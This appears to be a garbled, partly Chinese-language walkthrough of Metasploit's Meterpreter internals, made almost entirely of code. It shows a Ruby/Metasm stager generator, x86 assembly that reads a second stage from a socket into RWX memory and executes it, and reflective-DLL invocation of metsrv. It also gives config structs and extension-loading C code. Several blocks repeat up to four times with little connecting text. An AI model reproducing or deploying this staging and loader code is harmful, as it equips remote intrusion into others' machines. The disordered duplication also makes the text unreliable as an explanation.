#
# Generate and compile the stager
#
def generate_reverse_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of'api_call' onto
the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_tcp(opts)}
#{asm_block_recv(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
recv:
; Receive the size of the incoming second stage...
push byte 0 ; flags
push byte 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push byte 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^
end
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
End
dec ebp ; 'M'
pop edx ; 'Z'
两条无效指令仅仅是为了恢复DOS头部标志。
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
typedef struct _MetsrvConfig
{
MetsrvSession session;
MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports
// Extensions will appear after this
// After extensions, we get a list of extension initialisers
// <name of extension>\x00<datasize><data>
// <name of extension>\x00<datasize><data>
// \x00
} MetsrvConfig;
typedef struct _MetsrvSession
{
union
{
UINT_PTR handle;
BYTE padding[8];
} comms_handle; ///! Socket/handle for communications (if there is one).
DWORD exit_func; ///! Exit func identifier for when the session ends.
int expiry; ///! The total number of seconds to wait before killing off the session.
BYTE uuid[UUID_SIZE]; ///! UUID
BYTE session_guid[sizeof(GUID)]; ///! Current session GUID
} MetsrvSession;
typedef struct _MetsrvTransportCommon
{
CHARTYPE url[URL_SIZE]; ///! Transport url: scheme://host:port/URI
int comms_timeout; ///! Number of sessions to wait for a new packet.
int retry_total; ///! Total seconds to retry comms for.
int retry_wait; ///! Seconds to wait between reconnects.
} MetsrvTransportCommon;
mov [ebx], edi ; write the current socket/handle to the config
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
typedef struct command
{
LPCSTR method; ///< Identifier for the command.
PacketDispatcher request; ///< Defines the request handler.
PacketDispatcher response; ///< Defines the response handler.
// Internal -- not stored
struct command *next; ///< Pointer to the next command in the command list.
struct command *prev; ///< Pointer to the previous command in the command list.
} Command;
typedef struct _MetsrvExtension
{
DWORD size; ///! Size of the extension.
BYTE dll[1]; ///! Array of extension bytes (will be more than 1).
} MetsrvExtension;
在server_setup函数中调用load_stageless_extensions加载扩展:
while (stagelessExtensions->size > 0)
{
dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size);
load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
}
// If the library is not to be stored on disk,
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
{
// try to load the library via its reflective loader...
library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);
if (library == NULL)
{
// if that fails, presumably besause the library doesn't support
// reflective injection, we default to using libloader...
library = libloader_load_library(targetPath,
dataTlv.buffer, dataTlv.header.length);
}
else
{
bLibLoadedReflectivly = TRUE;
}
res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}
// If this library is supposed to be an extension library, try to
// call its Init routine
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)
{
res = load_extension(library, bLibLoadedReflectivly, remote, response, first);
}
recv:
; Receive the size of the incoming second stage...
push byte 0 ; flags
push byte 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push byte 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^
end
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
End
dec ebp ; 'M'
pop edx ; 'Z'
两条无效指令仅仅是为了恢复DOS头部标志。
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
typedef struct _MetsrvConfig
{
MetsrvSession session;
MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports
// Extensions will appear after this
// After extensions, we get a list of extension initialisers
// <name of extension>\x00<datasize><data>
// <name of extension>\x00<datasize><data>
// \x00
} MetsrvConfig;
typedef struct _MetsrvSession
{
union
{
UINT_PTR handle;
BYTE padding[8];
} comms_handle; ///! Socket/handle for communications (if there is one).
DWORD exit_func; ///! Exit func identifier for when the session ends.
int expiry; ///! The total number of seconds to wait before killing off the session.
BYTE uuid[UUID_SIZE]; ///! UUID
BYTE session_guid[sizeof(GUID)]; ///! Current session GUID
} MetsrvSession;
typedef struct _MetsrvTransportCommon
{
CHARTYPE url[URL_SIZE]; ///! Transport url: scheme://host:port/URI
int comms_timeout; ///! Number of sessions to wait for a new packet.
int retry_total; ///! Total seconds to retry comms for.
int retry_wait; ///! Seconds to wait between reconnects.
} MetsrvTransportCommon;
mov [ebx], edi ; write the current socket/handle to the config
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
typedef struct command
{
LPCSTR method; ///< Identifier for the command.
PacketDispatcher request; ///< Defines the request handler.
PacketDispatcher response; ///< Defines the response handler.
// Internal -- not stored
struct command *next; ///< Pointer to the next command in the command list.
struct command *prev; ///< Pointer to the previous command in the command list.
} Command;
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^
end
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
End
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^
end
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
End